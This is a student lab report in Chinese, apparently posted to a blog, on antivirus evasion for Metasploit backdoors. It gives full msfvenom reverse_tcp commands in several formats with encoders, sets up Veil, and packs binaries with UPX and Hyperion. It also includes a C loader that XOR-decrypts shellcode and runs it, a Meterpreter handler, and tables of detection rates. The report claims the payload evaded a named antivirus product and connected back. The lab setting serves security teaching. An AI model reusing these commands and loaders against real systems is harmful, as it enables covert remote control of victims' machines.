20222420 2024-2025-1 《网络与系统攻防技术》实验三实验报告

20222420 2024-2025-1 《网络与系统攻防技术》实验三实验报告

1.实验内容

1.1 本周学习内容

1.1.1 后门技术

接着上一节课的内容继续学习了

  • 进程隐藏技术,它还包含
    • 基于 DLL 的进程隐藏技术:远程注入Dll技术
    • 基于远程线程注入代码的进程隐藏技术
    • Rootkit方式 分用户级和内核级
  • 数据穿透与躲避技术:加密、隧道、反弹端口
1.1.2 简单后门实践基础
  • netcat
  • Meterpreter
    Metasploit框架中的一个扩展模块,本质为Payload集
  • Veil Evasion
    为免杀工具
1.1.3 免杀
  • 杀毒软件原理
    • 特征码、启发式、基于行为
    • 校验和
    • 机器学习
  • 免杀技术
    • 修改特征码 最初的方法
    • 修改校验和
    • 花指令免杀 阻止反汇编程序。若杀毒软件不能识别,则其不能正确定位特征码
    • 加壳免杀 系统先运行“壳”,由壳将加密或压缩的程序逐步还原到内存中,最后运行
      加壳免杀还含虚拟机保护技术,将原本的汇编指令转换为另一种表现形式,以使不被轻易逆向、修改
    • 内存免杀
      加壳免杀用于扫描文件时。杀毒软件在文件扫描和内存扫描的特征码不同,在内存中继续使用之前的免杀技术

1.2 实验任务

  • 正确使用msf编码器,veil-evasion,利用shellcode编程等免杀工具或技巧
    • 使用msf编码器,通过msfvenom生成如jar之类的其他文件
    • veil-evasion,加壳工具
    • 使用C + shellcode编程
  • 通过组合应用各种技术实现恶意代码免杀
    如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。
  • 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

2.问题回答

  • 杀软是如何检测出恶意代码的?
    特征码、校验和、机器学习等
  • 免杀是做什么?
    避免后门等被杀毒软件查杀
  • 免杀的基本方法有哪些?
    修改特征码、修改校验和,加壳等

3.实验过程

3.1 正确使用msf编码器,veil-evasion,利用shellcode编程等免杀工具或技巧

3.1.1 使用msf编码器,通过msfvenom生成如jar之类的其他文件
  • 使用VirusTotal、Virscan来检测不编码生成的.exe后门程序
    生成该程序的命令为msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.150.172 LPORT=2420 -f exe > 20222420_backdoor.exe
    VirusTotal检出率为62/73,Virscan检出率为25/48

  • 使用编码器x86/shikata_ga_nai进行一次编码后生成.exe后门程序
    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.150.172 LPORT=2420 -f exe > 20222420_backdoor1.exe
    VirusTotal检出率为61/73,Virscan检出率为26/48。相比不编码,VirusTotal检出率微量下降,Virscan检出率微量上升

  • 使用编码器x86/shikata_ga_nai进行多次次编码后生成.exe后门程序(迭代60次以上将无法构造有效的编码排列)
    • 10次
      msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.150.172 LPORT=2420 -f exe > 20222420_backdoor10.exe
      VirusTotal检出率为62/73,Virscan检出率为26/48,相比1次编码,VirusTotal检出率微量上升

    • 60次
      msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 60 -b '\x00' LHOST=192.168.150.172 LPORT=2420 -f exe > 20222420_backdoor60.exe
      VirusTotal检出率为61/73,Virscan检出率为25/48,相比10次,检出率微量下降

  • 使用编码器生成其他格式的后门程序(.py、.jar、.php)
    • 生成.py格式的文件
      msfvenom -p python/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.150.191 LPORT=2420 -f py> 20222420_encoder.py

      VirusTotal检出率为0/61,Virscan检出率为0/48

    • 生成.jar格式的文件,无法使用编码
      msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.150.191 LPORT=2420 -f jar> 20222420_encoder.jar
      VirusTotal检出率为34/66,Virscan检出率为13/48
      image
      image

    • 生成.php格式的文件
      msfvenom -p php/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.150.191 LPORT=2420 x> 20222420_encoder.php

      VirusTotal检出率为10/62,Virscan检出率为3/48

综上,得到如下列表
可知,
(1)编码对检出.exe文件基本没影响,且.exe格式的检出率在所有测试格式中最高
(2)检出率次高的是.jar格式
(3).php文件编码次数为10,检出率较低
(4).py文件没有被检测出

格式 编码次数 VirusTotal检出率 Virscan检出率
.exe 0 62/73 25/48
.exe 1 61/73 26/48
.exe 10 62/73 26/48
.exe 60 61/73 25/48
.py 10 0/61 0/48
.jar 0 34/66 13/48
.php 10 10/62 3/48
3.1.2 veil-evasion,加壳工具
  • (1)配置veil是一件比较困难的事情,我参考了github上关于veil的readme和issues,并根据报错信息查看了配置文件/usr/share/veil/config/setup.sh才弄懂了问题的所在,然后才经过一些改动成功地配置了veil。配置veil的过程如下,具体为什么进行改动将在“问题及解决方案”部分详细解释
    • 按照readme中的说法,要么用apt下载,要么用git下载。因用git下载仍有报错且apt下载命令仅两行,所以我选择用apt下载
      同时,readme中要求要么用sudo,要么用root用户,所以我决定两个都用,先用sudo su切换到root用户,然后输入第一行命令
      sudo apt -y install veil
    • 这时需要进行第一个改动:用vim打开/usr/share/veil/config/setup.sh,将587行处的内容改为sudo -u "${trueuser}" WINEPREFIX="${winedir}" wine "${winedir}/drive_c/Python34/python.exe" "-m" "pip" "install" "-Iv" "pefile==2019.4.18"
    • 然后进行第二个改动,在桌面(或其他自己熟悉的目录)打开一个终端,执行sudo git clone https://github.com/Veil-Framework/VeilDependencies.git,即从git上克隆一个veil的依赖库

      再用vim打开/usr/share/veil/config/setup.sh,输入/Veil-Fr,找到sudo git clone https://github.com/Veil-Framework/VeilDependencies.git "${dependenciesdir}"的位置,将其改为cp -r /home/s20222420/Desktop/VeilDependencies "${dependenciesdir}",退出并保存
    • 这时所有需要的改动完成,可以使用第二行命令,等待其完成便配置好veil了。经过查看,过程中没有任何error或warning
      /usr/share/veil/config/setup.sh --force --silent
  • (2)开始使用veil
    • 打开veil
    • 选择工具,选用Evasion
    • 输入list,查看可用的payloads
    • 选择第7个payload,即c/meterpreter/rev_tcp.py
      use 7

      通过其上的描述或下面github里的描述,可知是用于攻击windows的反弹连接
    • 接下来,设置LHOST和LPORT,然后generate
  • (3)检测veil的效果
    VirusTotal检出率为43/73,Virscan检出率为17/48。相比实验第一次检测中的62/73,25/48,可知有一定的免杀效果。

3.1.3 使用C + shellcode编程
  • 用msfvenom工具来生成一个C语言的源代码格式的有效载荷
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.150.192 LPORT=2420 -f c
  • 用生成的shellcode编写.c文件。强制转化shellcode为函数指针类型,并让一个变量接收,执行这个变量便执行了该shellcode
  • 利用指令i686-w64-mingw32-g++进行编译,得到exe文件。这个编译器专门用于生成 32 位 Windows 应用程序
    i686-w64-mingw32-g++ 20222420_c_shellcode.c -o 20222420_c_shellcode.exe
  • 测试
    VirusTotal检出率为35/60,Virscan检出率为15/48。相比veil,检出率又均有一定下降

3.1.4 使用加壳工具
  • (1)使用压缩壳UPX
    • 使用指令upx 20222420_c_shellcode.exe -o 20222420_c_upx_shellcode.exe,给上一个步骤生成的20222420_c_shellcode.exe加一个压缩壳。
    • 测试
      VirusTotal检出率为46/72,Virscan检出率为11/48。相比原本的文件,VirusTotal检出率上升,Virscan检出率下降。说明VirusTotal比Virscan对UPX记录得更多。

  • (2)使用加密壳Hyperion
    • 使用指令如下
      wine /usr/share/windows-resources/hyperion/hyperion.exe -v /home/s20222420/Desktop/20222420_c_shellcode.exe /home/s20222420/Desktop/20222420_c_hyp_shellcode.exe注意需要在root下执行


    • 测试
      VirusTotal检出率为54/73,Virscan检出率为21/48。相比原本的文件,检出率均上升,且均高于使用UPX。说明加密壳Hyperion被记录得更加广泛。

3.2 通过组合应用各种技术实现恶意代码免杀(描述原理,仅要与杀软共生截图)

  • 发现:同一份C语言程序,在linux下编译和在windows下编译,在VirusTotal中的差距极大
    • Linux下用i686-w64-mingw32-g++交叉编译,检出率为23/70
    • windows下codeblocks中编译,检出率为4/72。
  • 大量试验中我的思考过程
    • Thread1:Linux下加壳后检出率反而提升,于是我决定不加壳
    • Thread2:veil生成的后门效果虽然比msf编码的效果好但检出率仍不低,且还不能改动,于是我将使用"编码+c+shellcode"
    • Thread3:使用"编码+c+shellcode",检出率仍较高,为进一步降低检出率,于是考虑将shellcode加密
    • Thread4:单纯使用异或0x01变动shellcode且main函数不将其解密,以及异或一个密钥变动shellcode且main函数中将其解密,这种两种方式的检出率均较低,如后者在linux编译后检出率为28/72,在windows编译后检出率为11/72
  • 具体实现过程
    • 使用msf编码器生成编码十次后的shellcode并输出到新建文件20222420_shellcode.txt
      msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.150.192 LPORT=2420 -f c > 20222420_shellcode.txt
    • 编写、编译、运行加密程序20222420_enc,将20222420_shellcode.txt中的shellcode用0x05加密各个字节
    • 将加密后的shellcode放在新建文件20222420_shellcode2.c中
    • 在20222420_shellcode2.c中加入main函数,用于将加密后的shellcode解密并执行
点击查看代码
int main(){
	int i;
	for(i=0;i<sizeof(buf);i++)
	{
		buf[i] ^= 0x05;
	}
	int (*func)() = (int(*)())buf;
	func();
}
  • 上述20222420_shellcode2.c只是一个临时文件,现在将文件中编写好的代码复制在windows环境下编译,文件夹名为20222420_shellcode2

    • 杀软扫描
      使用火绒安全软件,版本为6.0.3.0
      20222420_shellcode2.exe并未被查出,仅查出20222420_shellcode10.exe
  • 额外的想法
    参考音频的cda格式,只存地址,将shellcode打散存储,用一个数组存储指向各个shellcode分片的地址,然后在需要执行shellcode时一片片找,可找一片执行一片,也可找完后按数组顺序一片片执行。
    也许可以将main函数改为如下,但shellcode也许不能一个字节一个字节地执行,可以改分为能执行的块。

main函数
int main()
{   //由于若要将buf随机存储,编写代码时间较长,我这里仅将其分为两个部分
    unsigned char buf1[sizeof(buf)] ; //存储buf的偶数部分
    unsigned char buf2[sizeof(buf)] ; //存储buf的奇数部分
    int i=0;
    for(i=0;i<sizeof(buf);i++)
    {
        if(i%2==0) buf1[i/2]=(unsigned char)(buf[i]^0x05); //存储buf的偶数部分并解密,这样无论内容是否被加密,单独看buf1就是无毒的
        else buf2[(i-1)/2]=(unsigned char)(buf[i]^0x05);   //存储buf的奇数部分并解密,这样无论内容是否被加密,单独看buf2就是无毒的
    }
    int (*func[sizeof(buf)])();     //func为指向函数指针的指针,即函数指针数组
    for(i=0;i<sizeof(buf);i++)      //找到每一个buf分片
    {
        if(i%2==0)
        {
            func[i] = (int(*)())&buf1[i/2];       //若要改进,其实也可以在这里解密并执行,且可以执行一片清空一片
        }
        else func[i] = (int(*)())&buf2[(i-1)/2];
    }
    for(i=0;i<sizeof(buf);i++)      //相当于将每一个字节当作一个函数指针指向的空间,要执行这个字节就只能顺序执行每一个指针,而func就是一个顺序存储各个指针的数组的指针。这样避免了仅一个函数指针就暴露整个shellcode
        func[i]();

}

3.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

在kali中输入
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.150.192
set LPORT 2420
exploit
使用火绒安全软件,版本为6.0.3.0
在杀软开启的情况下,在windows主机上运行生成的程序,可以看到成功回连成功。

4.问题及解决方案

  • 问题1:安装配置veil时报错
  • 问题1解决方案:1.根据报错信息知道是Python pip pefile报错,在github上查找相关问题,发现pefile不支持相关python,在setup.sh中改变pefile的版本为2019.4.18便可解决这个问题。2.解决了Python pip pefile的问题,我又遇到了报错,通过报错信息知道是克隆时无法连接到github,这是网络的问题,但我单独在终端中运行setup.sh中相关的克隆命令时并没有出错。于是我将其克隆在桌面,然后将setup.sh中的克隆命令改为cp命令,将克隆到桌面的文件夹复制到原需克隆至的目录。然后我便成功安装配置了veil。
  • 问题2:使用加密壳时出错
  • 问题2解决方案:可能是权限不够,转换在root用户下运行便成功了。
  • 问题3:msfvenom生成exe文件后无法在windows下执行并连接
  • 问题3解决方案:经过试验排除了payload不是x64的问题,发现需要-f exe参数才能使其可执行并连接。不用-f exe而用x或什么都不加,是都不能执行并连接的。

5.学习感悟、思考等

在本次实验中,通过使用msf编码器、veil-evasion、加壳工具以及C + shellcode编程等多种技术和工具,我学习了如何在保持恶意代码功能性的同时,尽可能地避免被杀毒软件检测和拦截。
在实验过程中,我遇到了不少问题,比如veil的安装配置错误、加密壳的使用权限问题以及msfvenom生成文件无法执行的问题。这些问题一度让我感到困惑和沮丧,但通过不断查阅文档、搜索解决方案和反复试验,我最终成功地克服了这些障碍。这些经历不仅提升了我的问题解决能力,也让我更加深刻地体会到了实践的重要性。
经过本次实验,我深刻体会到,在网络安全领域,恶意代码的隐藏和检测是一个相互博弈的过程。一方面,攻击者会不断尝试使用新的技术手段来躲过安全检测,另一方面,安全厂商也会不断更新和升级他们的检测算法来应对这些威胁。

参考资料

posted @ 2024-10-30 21:20  SAltria  阅读(11)  评论(0编辑  收藏  举报